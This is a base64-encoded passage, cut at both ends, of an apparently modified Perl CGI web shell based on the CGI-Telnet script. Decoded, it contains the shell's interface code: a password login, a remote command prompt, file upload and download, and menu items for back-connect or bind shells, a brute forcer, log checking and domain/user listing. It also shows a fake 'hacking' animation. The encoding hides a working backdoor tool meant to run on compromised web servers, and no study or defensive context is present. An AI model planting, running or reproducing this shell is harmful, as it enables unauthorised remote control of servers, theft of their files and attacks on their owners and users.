pbGUrIic+PC9mb3JtPiI7DQoJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoInRleHRfIiArIGkpLmZvY3VzKCk7DQp9DQpmdW5jdGlvbiBybV9yZW5hbWVfZm9ybShpLGZpbGUsZikNCnsNCglpZihmPT0nZicpDQoJew0KCQlkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiRmlsZV8iK2kpLmlubmVySFRNTD0iPGEgaHJlZj0nP2E9Y29tbWFuZCZkPSRkaXImYz1lZGl0JTIwIitmaWxlKyIlMjAnPiIgK2ZpbGUrICI8L2E+IjsNCgl9ZWxzZQ0KCXsNCgkJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoIkZpbGVfIitpKS5pbm5lckhUTUw9IjxhIGhyZWY9Jz9hPWd1aSZkPSIrZisiJz5bICIgK2ZpbGUrICIgXTwvYT4iOw0KCX0NCn0NCjwvc2NyaXB0Pg0KPGJvZHkgb25Mb2FkPSJkb2N1bWVudC5mLkBfLmZvY3VzKCkiIGJnY29sb3I9IiMwYzBjMGMiIHRvcG1hcmdpbj0iMCIgbGVmdG1hcmdpbj0iMCIgbWFyZ2lud2lkdGg9IjAiIG1hcmdpbmhlaWdodD0iMCI+DQo8Y2VudGVyPjxjb2RlPg0KPHRhYmxlIGJvcmRlcj0iMSIgd2lkdGg9IjEwMCUiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMiI+DQo8dHI+DQoJPHRkIGFsaWduPSJjZW50ZXIiIHJvd3NwYW49Mj4NCgkJPGI+PGZvbnQgc2l6ZT0iNSI+JEVkaXRQZXJzaW9uPC9mb250PjwvYj4NCgk8L3RkPg0KDQoJPHRkPg0KDQoJCTxmb250IGZhY2U9IlZlcmRhbmEiIHNpemU9IjIiPiRFTlZ7IlNFUlZFUl9TT0ZUV0FSRSJ9PC9mb250Pg0KCTwvdGQ+DQoJPHRkPlNlcnZlciBJUDo8Zm9udCBjb2xvcj0iI2JiMDAwMCI+ICRFTlZ7J1NFUlZFUl9BRERSJ308L2ZvbnQ+IHwgWW91ciBJUDogPGZvbnQgY29sb3I9IiNiYjAwMDAiPiRFTlZ7J1JFTU9URV9BRERSJ308L2ZvbnQ+DQoJPC90ZD4NCg0KPC90cj4NCg0KPHRyPg0KPHRkIGNvbHNwYW49IjMiPjxmb250IGZhY2U9IlZlcmRhbmEiIHNpemU9IjIiPg0KPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uIj5Ib21lPC9hPiB8IA0KPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9Y29tbWFuZCZkPSRFbmNvZGVkQ3VycmVudERpciI+Q29tbWFuZDwvYT4gfA0KPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9Z3VpJmQ9JEVuY29kZWRDdXJyZW50RGlyIj5HVUk8L2E+IHwgDQo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT11cGxvYWQmZD0kRW5jb2RlZEN1cnJlbnREaXIiPlVwbG9hZCBGaWxlPC9hPiB8IA0KPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9ZG93bmxvYWQmZD0kRW5jb2RlZEN1cnJlbnREaXIiPkRvd25sb2FkIEZpbGU8L2E+IHwNCg0KPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9YmFja2JpbmQiPkJhY2sgJiBCaW5kPC9hPiB8DQo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT1icnV0ZWZvcmNlciI+QnJ1dGUgRm9yY2VyPC9hPiB8DQo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT1jaGVja2xvZyI+Q2hlY2sgTG9nPC9hPiB8DQo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT1kb21haW5zdXNlciI+RG9tYWlucy9Vc2VyczwvYT4gfA0KPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9bG9nb3V0Ij5Mb2dvdXQ8L2E+IHwNCjxhIHRhcmdldD0nX2JsYW5rJyBocmVmPSIjIj5IZWxwPC9hPg0KDQo8L2ZvbnQ+PC90ZD4NCjwvdHI+DQo8L3RhYmxlPg0KPGZvbnQgaWQ9IlJlc3BvbnNlRGF0YSIgY29sb3I9IiNmZjk5Y2MiID4NCkVORA0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgTG9naW4gU2NyZWVuDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnRMb2dpblNjcmVlbg0Kew0KDQoJcHJpbnQgPDxFTkQ7DQo8cHJlPjxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij4NClR5cGluZ1RleHQgPSBmdW5jdGlvbihlbGVtZW50LCBpbnRlcnZhbCwgY3Vyc29yLCBmaW5pc2hlZENhbGxiYWNrKSB7DQogIGlmKCh0eXBlb2YgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQgPT0gInVuZGVmaW5lZCIpIHx8ICh0eXBlb2YgZWxlbWVudC5pbm5lckhUTUwgPT0gInVuZGVmaW5lZCIpKSB7DQogICAgdGhpcy5ydW5uaW5nID0gdHJ1ZTsJLy8gTmV2ZXIgcnVuLg0KICAgIHJldHVybjsNCiAgfQ0KICB0aGlzLmVsZW1lbnQgPSBlbGVtZW50Ow0KICB0aGlzLmZpbmlzaGVkQ2FsbGJhY2sgPSAoZmluaXNoZWRDYWxsYmFjayA/IGZpbmlzaGVkQ2FsbGJhY2sgOiBmdW5jdGlvbigpIHsgcmV0dXJuOyB9KTsNCiAgdGhpcy5pbnRlcnZhbCA9ICh0eXBlb2YgaW50ZXJ2YWwgPT0gInVuZGVmaW5lZCIgPyAxMDAgOiBpbnRlcnZhbCk7DQogIHRoaXMub3JpZ1RleHQgPSB0aGlzLmVsZW1lbnQuaW5uZXJIVE1MOw0KICB0aGlzLnVucGFyc2VkT3JpZ1RleHQgPSB0aGlzLm9yaWdUZXh0Ow0KICB0aGlzLmN1cnNvciA9IChjdXJzb3IgPyBjdXJzb3IgOiAiIik7DQogIHRoaXMuY3VycmVudFRleHQgPSAiIjsNCiAgdGhpcy5jdXJyZW50Q2hhciA9IDA7DQogIHRoaXMuZWxlbWVudC50eXBpbmdUZXh0ID0gdGhpczsNCiAgaWYodGhpcy5lbGVtZW50LmlkID09ICIiKSB0aGlzLmVsZW1lbnQuaWQgPSAidHlwaW5ndGV4dCIgKyBUeXBpbmdUZXh0LmN1cnJlbnRJbmRleCsrOw0KICBUeXBpbmdUZXh0LmFsbC5wdXNoKHRoaXMpOw0KICB0aGlzLnJ1bm5pbmcgPSBmYWxzZTsNCiAgdGhpcy5pblRhZyA9IGZhbHNlOw0KICB0aGlzLnRhZ0J1ZmZlciA9ICIiOw0KICB0aGlzLmluSFRNTEVudGl0eSA9IGZhbHNlOw0KICB0aGlzLkhUTUxFbnRpdHlCdWZmZXIgPSAiIjsNCn0NClR5cGluZ1RleHQuYWxsID0gbmV3IEFycmF5KCk7DQpUeXBpbmdUZXh0LmN1cnJlbnRJbmRleCA9IDA7DQpUeXBpbmdUZXh0LnJ1bkFsbCA9IGZ1bmN0aW9uKCkgew0KICBmb3IodmFyIGkgPSAwOyBpIDwgVHlwaW5nVGV4dC5hbGwubGVuZ3RoOyBpKyspIFR5cGluZ1RleHQuYWxsW2ldLnJ1bigpOw0KfQ0KVHlwaW5nVGV4dC5wcm90b3R5cGUucnVuID0gZnVuY3Rpb24oKSB7DQogIGlmKHRoaXMucnVubmluZykgcmV0dXJuOw0KICBpZih0eXBlb2YgdGhpcy5vcmlnVGV4dCA9PSAidW5kZWZpbmVkIikgew0KICAgIHNldFRpbWVvdXQoImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCciICsgdGhpcy5lbGVtZW50LmlkICsgIicpLnR5cGluZ1RleHQucnVuKCkiLCB0aGlzLmludGVydmFsKTsJLy8gV2UgaGF2ZW4ndCBmaW5pc2hlZCBsb2FkaW5nIHlldC4gIEhhdmUgcGF0aWVuY2UuDQogICAgcmV0dXJuOw0KICB9DQogIGlmKHRoaXMuY3VycmVudFRleHQgPT0gIiIpIHRoaXMuZWxlbWVudC5pbm5lckhUTUwgPSAiIjsNCi8vICB0aGlzLm9yaWdUZXh0ID0gdGhpcy5vcmlnVGV4dC5yZXBsYWNlKC88KFtePF0pKj4vLCAiIik7ICAgICAvLyBTdHJpcCBIVE1MIGZyb20gdGV4dC4NCiAgaWYodGhpcy5jdXJyZW50Q2hhciA8IHRoaXMub3JpZ1RleHQubGVuZ3RoKSB7DQogICAgaWYodGhpcy5vcmlnVGV4dC5jaGFyQXQodGhpcy5jdXJyZW50Q2hhcikgPT0gIjwiICYmICF0aGlzLmluVGFnKSB7DQogICAgICB0aGlzLnRhZ0J1ZmZlciA9ICI8IjsNCiAgICAgIHRoaXMuaW5UYWcgPSB0cnVlOw0KICAgICAgdGhpcy5jdXJyZW50Q2hhcisrOw0KICAgICAgdGhpcy5ydW4oKTsNCiAgICAgIHJldHVybjsNCiAgICB9IGVsc2UgaWYodGhpcy5vcmlnVGV4dC5jaGFyQXQodGhpcy5jdXJyZW50Q2hhcikgPT0gIj4iICYmIHRoaXMuaW5UYWcpIHsNCiAgICAgIHRoaXMudGFnQnVmZmVyICs9ICI+IjsNCiAgICAgIHRoaXMuaW5UYWcgPSBmYWxzZTsNCiAgICAgIHRoaXMuY3VycmVudFRleHQgKz0gdGhpcy50YWdCdWZmZXI7DQogICAgICB0aGlzLmN1cnJlbnRDaGFyKys7DQogICAgICB0aGlzLnJ1bigpOw0KICAgICAgcmV0dXJuOw0KICAgIH0gZWxzZSBpZih0aGlzLmluVGFnKSB7DQogICAgICB0aGlzLnRhZ0J1ZmZlciArPSB0aGlzLm9yaWdUZXh0LmNoYXJBdCh0aGlzLmN1cnJlbnRDaGFyKTsNCiAgICAgIHRoaXMuY3VycmVudENoYXIrKzsNCiAgICAgIHRoaXMucnVuKCk7DQogICAgICByZXR1cm47DQogICAgfSBlbHNlIGlmKHRoaXMub3JpZ1RleHQuY2hhckF0KHRoaXMuY3VycmVudENoYXIpID09ICImIiAmJiAhdGhpcy5pbkhUTUxFbnRpdHkpIHsNCiAgICAgIHRoaXMuSFRNTEVudGl0eUJ1ZmZlciA9ICImIjsNCiAgICAgIHRoaXMuaW5IVE1MRW50aXR5ID0gdHJ1ZTsNCiAgICAgIHRoaXMuY3VycmVudENoYXIrKzsNCiAgICAgIHRoaXMucnVuKCk7DQogICAgICByZXR1cm47DQogICAgfSBlbHNlIGlmKHRoaXMub3JpZ1RleHQuY2hhckF0KHRoaXMuY3VycmVudENoYXIpID09ICI7IiAmJiB0aGlzLmluSFRNTEVudGl0eSkgew0KICAgICAgdGhpcy5IVE1MRW50aXR5QnVmZmVyICs9ICI7IjsNCiAgICAgIHRoaXMuaW5IVE1MRW50aXR5ID0gZmFsc2U7DQogICAgICB0aGlzLmN1cnJlbnRUZXh0ICs9IHRoaXMuSFRNTEVudGl0eUJ1ZmZlcjsNCiAgICAgIHRoaXMuY3VycmVudENoYXIrKzsNCiAgICAgIHRoaXMucnVuKCk7DQogICAgICByZXR1cm47DQogICAgfSBlbHNlIGlmKHRoaXMuaW5IVE1MRW50aXR5KSB7DQogICAgICB0aGlzLkhUTUxFbnRpdHlCdWZmZXIgKz0gdGhpcy5vcmlnVGV4dC5jaGFyQXQodGhpcy5jdXJyZW50Q2hhcik7DQogICAgICB0aGlzLmN1cnJlbnRDaGFyKys7DQogICAgICB0aGlzLnJ1bigpOw0KICAgICAgcmV0dXJuOw0KICAgIH0gZWxzZSB7DQogICAgICB0aGlzLmN1cnJlbnRUZXh0ICs9IHRoaXMub3JpZ1RleHQuY2hhckF0KHRoaXMuY3VycmVudENoYXIpOw0KICAgIH0NCiAgICB0aGlzLmVsZW1lbnQuaW5uZXJIVE1MID0gdGhpcy5jdXJyZW50VGV4dDsNCiAgICB0aGlzLmVsZW1lbnQuaW5uZXJIVE1MICs9ICh0aGlzLmN1cnJlbnRDaGFyIDwgdGhpcy5vcmlnVGV4dC5sZW5ndGggLSAxID8gKHR5cGVvZiB0aGlzLmN1cnNvciA9PSAiZnVuY3Rpb24iID8gdGhpcy5jdXJzb3IodGhpcy5jdXJyZW50VGV4dCkgOiB0aGlzLmN1cnNvcikgOiAiIik7DQogICAgdGhpcy5jdXJyZW50Q2hhcisrOw0KICAgIHNldFRpbWVvdXQoImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCciICsgdGhpcy5lbGVtZW50LmlkICsgIicpLnR5cGluZ1RleHQucnVuKCkiLCB0aGlzLmludGVydmFsKTsNCiAgfSBlbHNlIHsNCgl0aGlzLmN1cnJlbnRUZXh0ID0gIiI7DQoJdGhpcy5jdXJyZW50Q2hhciA9IDA7DQogICAgICAgIHRoaXMucnVubmluZyA9IGZhbHNlOw0KICAgICAgICB0aGlzLmZpbmlzaGVkQ2FsbGJhY2soKTsNCiAgfQ0KfQ0KPC9zY3JpcHQ+DQo8L3ByZT4NCg0KPGZvbnQgc3R5bGU9ImZvbnQ6IDE1cHQgVmVyZGFuYTsgY29sb3I6IHllbGxvdzsiPkNvcHlyaWdodCAoQykgMjAwMSBSb2hpdGFiIEJhdHJhIDwvZm9udD48YnI+PGJyPg0KPHRhYmxlIGFsaWduPSJjZW50ZXIiIGJvcmRlcj0iMSIgd2lkdGg9IjYwMCIgaGVpZ2g+DQo8dGJvZHk+PHRyPg0KPHRkIHZhbGlnbj0idG9wIiBiYWNrZ3JvdW5kPSJodHRwOi8vZGwuZHJvcGJveC5jb20vdS8xMDg2MDA1MS9pbWFnZXMvbWF0cmFuLmdpZiI+PHAgaWQ9ImhhY2siIHN0eWxlPSJtYXJnaW4tbGVmdDogM3B4OyI+DQo8Zm9udCBjb2xvcj0iIzAwOTkwMCI+IFBsZWFzZSBXYWl0IC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC48L2ZvbnQ+IDxicj4NCg0KPGZvbnQgY29sb3I9IiMwMDk5MDAiPiBUcnlpbmcgY29ubmVjdCB0byBTZXJ2ZXIgLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLjwvZm9udD48YnI+DQo8Zm9udCBjb2xvcj0iI0YwMDAwMCI+PGZvbnQgY29sb3I9IiNGRkYwMDAiPn5cJDwvZm9udD4gQ29ubmVjdGVkICEgPC9mb250Pjxicj4NCjxmb250IGNvbG9yPSIjMDA5OTAwIj48Zm9udCBjb2xvcj0iI0ZGRjAwMCI+JFNlcnZlck5hbWV+PC9mb250PiBDaGVja2luZyBTZXJ2ZXIgLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLjwvZm9udD4gPGJyPg0KDQo8Zm9udCBjb2xvcj0iIzAwOTkwMCI+PGZvbnQgY29sb3I9IiNGRkYwMDAiPiRTZXJ2ZXJOYW1lfjwvZm9udD4gVHJ5aW5nIGNvbm5lY3QgdG8gQ29tbWFuZCAuIC4gLiAuIC4gLiAuIC4gLiAuIC48L2ZvbnQ+PGJyPg0KDQo8Zm9udCBjb2xvcj0iI0YwMDAwMCI+PGZvbnQgY29sb3I9IiNGRkYwMDAiPiRTZXJ2ZXJOYW1lfjwvZm9udD5cJCBDb25uZWN0ZWQgQ29tbWFuZCEgPC9mb250Pjxicj4NCjxmb250IGNvbG9yPSIjMDA5OTAwIj48Zm9udCBjb2xvcj0iI0ZGRjAwMCI+JFNlcnZlck5hbWV+PGZvbnQgY29sb3I9IiNGMDAwMDAiPlwkPC9mb250PjwvZm9udD4gT0shIFlvdSBjYW4ga2lsbCBpdCE8L2ZvbnQ+DQo8L3RyPg0KPC90Ym9keT48L3RhYmxlPg0KPGJyPg0KDQo8c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCI+DQpuZXcgVHlwaW5nVGV4dChkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiaGFjayIpLCAzMCwgZnVuY3Rpb24oaSl7IHZhciBhciA9IG5ldyBBcnJheSgiXyIsIiIpOyByZXR1cm4gIiAiICsgYXJbaS5sZW5ndGggJSBhci5sZW5ndGhdOyB9KTsNClR5cGluZ1RleHQucnVuQWxsKCk7DQoNCjwvc2NyaXB0Pg0KRU5EDQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgQWRkIGh0bWwgc3BlY2lhbCBjaGFycw0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIEh0bWxTcGVjaWFsQ2hhcnMoJCl7DQoJbXkgJHRleHQgPSBzaGlmdDsNCgkkdGV4dCA9fiBzLyYvJmFtcDsvZzsNCgkkdGV4dCA9fiBzLyIvJnF1b3Q7L2c7DQoJJHRleHQgPX4gcy8nLyYjMDM5Oy9nOw0KCSR0ZXh0ID1+IHMvPC8mbHQ7L2c7DQoJJHRleHQgPX4gcy8+LyZndDsvZzsNCglyZXR1cm4gJHRleHQ7DQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIEFkZCBsaW5rIGZvciBkaXJlY3RvcnkNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBBZGRMaW5rRGlyKCQpDQp7DQoJbXkgJGFjPXNoaWZ0Ow0KCW15IEBkaXI9KCk7DQoJaWYoJFdpbk5UKQ0KCXsNCgkJQGRpcj1zcGxpdCgvXFwvLCRDdXJyZW50RGlyKTsNCgl9ZWxzZQ0KCXsNCgkJQGRpcj1zcGxpdCgiLyIsJnRyaW0oJEN1cnJlbnREaXIpKTsNCgl9DQoJbXkgJHBhdGg9IiI7DQoJbXkgJHJlc3VsdD0iIjsNCglmb3JlYWNoIChAZGlyKQ0KCXsNCgkJJHBhdGggLj0gJF8uJFBhdGhTZXA7DQoJCSRyZXN1bHQuPSI8YSBocmVmPSc/YT0iLiRhYy4iJmQ9Ii4kcGF0aC4iJz4iLiRfLiRQYXRoU2VwLiI8L2E+IjsNCgl9DQoJcmV0dXJuICRyZXN1bHQ7DQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgbWVzc2FnZSB0aGF0IGluZm9ybXMgdGhlIHVzZXIgb2YgYSBmYWlsZWQgbG9naW4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQcmludExvZ2luRmFpbGVkTWVzc2FnZQ0Kew0KCXByaW50IDw8RU5EOw0KPGJyPkxvZ2luIDogQWRtaW5pc3RyYXRvcjxicj4NCg0KUGFzc3dvcmQ6PGJyPg0KTG9naW4gaW5jb3JyZWN0PGJyPjxicj4NCkVORA0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgSFRNTCBmb3JtIGZvciBsb2dnaW5nIGluDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnRMb2dpbkZvcm0NCnsNCglwcmludCA8PEVORDsNCjxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImxvZ2luIj4NCkxvZ2luIDogQWRtaW5pc3RyYXRvcjxicj4NClBhc3N3b3JkOjxpbnB1dCB0eXBlPSJwYXNzd29yZCIgbmFtZT0icCI+DQo8aW5wdXQgY2xhc3M9InN1Ym1pdCIgdHlwZT0ic3VibWl0IiB2YWx1ZT0iRW50ZXIiPg0KPC9mb3JtPg0KRU5EDQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgUHJpbnRzIHRoZSBmb290ZXIgZm9yIHRoZSBIVE1MIFBhZ2UNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQcmludFBhZ2VGb290ZXINCnsNCglwcmludCAiPGJyPjxmb250IGNvbG9yPXJlZD5vLS0tWyAgPGZvbnQgY29sb3I9I2ZmOTkwMD5FZGl0IGJ5ICRFZGl0UGVyc2lvbiA8L2ZvbnQ+ICBdLS0tbzwvZm9udD48L2NvZGU+PC9jZW50ZXI+PC9ib2R5PjwvaHRtbD4iOw0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFJldHJlaXZlcyB0aGUgdmFsdWVzIG9mIGFsbCBjb29raWVzLiBUaGUgY29va2llcyBjYW4gYmUgYWNjZXNzZXMgdXNpbmcgdGhlDQojIHZhcmlhYmxlICRDb29raWVzeyd9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgR2V0Q29va2llcw0Kew0KCUBodHRwY29va2llcyA9IHNwbGl0KC87IC8sJEVOVnsnSFRUUF9DT09LSUUnfSk7DQoJZm9yZWFjaCAkY29va2llKEBodHRwY29va2llcykNCgl7DQoJCSgkaWQsICR2YWwpID0gc3BsaXQoLz0vLCAkY29va2llKTsNCgkJJENvb2tpZXN7JGlkfSA9ICR2YWw7DQoJfQ0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgc2NyZWVuIHdoZW4gdGhlIHVzZXIgbG9ncyBvdXQNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQcmludExvZ291dFNjcmVlbg0Kew0KCXByaW50ICJDb25uZWN0aW9uIGNsb3NlZCBieSBmb3JlaWduIGhvc3QuPGJyPjxicj4iOw0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIExvZ3Mgb3V0IHRoZSB1c2VyIGFuZCBhbGxvd3MgdGhlIHVzZXIgdG8gbG9naW4gYWdhaW4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQZXJmb3JtTG9nb3V0DQp7DQoJcHJpbnQgIlNldC1Db29raWU6IFNBVkVEUFdEPTtcbiI7ICMgcmVtb3ZlIHBhc3N3b3JkIGNvb2tpZQ0KCSZQcmludFBhZ2VIZWFkZXIoInAiKTsNCgkmUHJpbnRMb2dvdXRTY3JlZW47DQoNCgkmUHJpbnRMb2dpblNjcmVlbjsNCgkmUHJpbnRMb2dpbkZvcm07DQoJJlByaW50UGFnZUZvb3RlcjsNCglleGl0Ow0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHRvIGxvZ2luIHRoZSB1c2VyLiBJZiB0aGUgcGFzc3dvcmQgbWF0Y2hlcywgaXQNCiMgZGlzcGxheXMgYSBwYWdlIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIHJ1biBjb21tYW5kcy4gSWYgdGhlIHBhc3N3b3JkIGRvZW5zJ3QNCiMgbWF0Y2ggb3IgaWYgbm8gcGFzc3dvcmQgaXMgZW50ZXJlZCwgaXQgZGlzcGxheXMgYSBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyDQojIHRvIGxvZ2luDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUGVyZm9ybUxvZ2luIA0Kew0KCWlmKCRMb2dpblBhc3N3b3JkIGVxICRQYXNzd29yZCkgIyBwYXNzd29yZCBtYXRjaGVkDQoJew0KCQlwcmludCAiU2V0LUNvb2tpZTogU0FWRURQV0Q9JExvZ2luUGFzc3dvcmQ7XG4iOw0KCQkmUHJpbnRQYWdlSGVhZGVyOw0KCQlwcmludCAmTGlzdERpcjsNCgl9DQoJZWxzZSAjIHBhc3N3b3JkIGRpZG4ndCBtYXRjaA0KCXsNCgkJJlByaW50UGFnZUhlYWRlcigicCIpOw0KCQkmUHJpbnRMb2dpblNjcmVlbjsNCgkJaWYoJExvZ2luUGFzc3dvcmQgbmUgIiIpICMgc29tZSBwYXNzd29yZCB3YXMgZW50ZXJlZA0KCQl7DQoJCQkmUHJpbnRMb2dpbkZhaWxlZE1lc3NhZ2U7DQoNCgkJfQ0KCQkmUHJpbnRMb2dpbkZvcm07DQoJCSZQcmludFBhZ2VGb290ZXI7DQoJCWV4aXQ7DQoJfQ0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgSFRNTCBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIGVudGVyIGNvbW1hbmRzDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnRDb21tYW5kTGluZUlucHV0Rm9ybQ0Kew0KCW15ICRkaXI9ICI8c3BhbiBzdHlsZT0nZm9udDogMTFwdCBWZXJkYW5hOyBmb250LXdlaWdodDogYm9sZDsnPiIuJkFkZExpbmtEaXIoImNvbW1hbmQiKS4iPC9zcGFuPiI7DQoJJFByb21wdCA9ICRXaW5OVCA/ICIkZGlyID4gIiA6ICI8Zm9udCBjb2xvcj0nIzY2ZmY2Nic+W2FkbWluXEAkU2VydmVyTmFtZSAkZGlyXVwkPC9mb250PiAiOw0KCXJldHVybiA8PEVORDsNCjxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPg0KDQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iY29tbWFuZCI+DQoNCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImQiIHZhbHVlPSIkQ3VycmVudERpciI+DQokUHJvbXB0DQo8aW5wdXQgdHlwZT0idGV4dCIgc2l6ZT0iNTAiIG5hbWU9ImMiPg0KPGlucHV0IGNsYXNzPSJzdWJtaXQidHlwZT0ic3VibWl0IiB2YWx1ZT0iRW50ZXIiPg0KPC9mb3JtPg0KRU5EDQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgUHJpbnRzIHRoZSBIVE1MIGZvcm0gdGhhdCBhbGxvd3MgdGhlIHVzZXIgdG8gZG93bmxvYWQgZmlsZXMNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t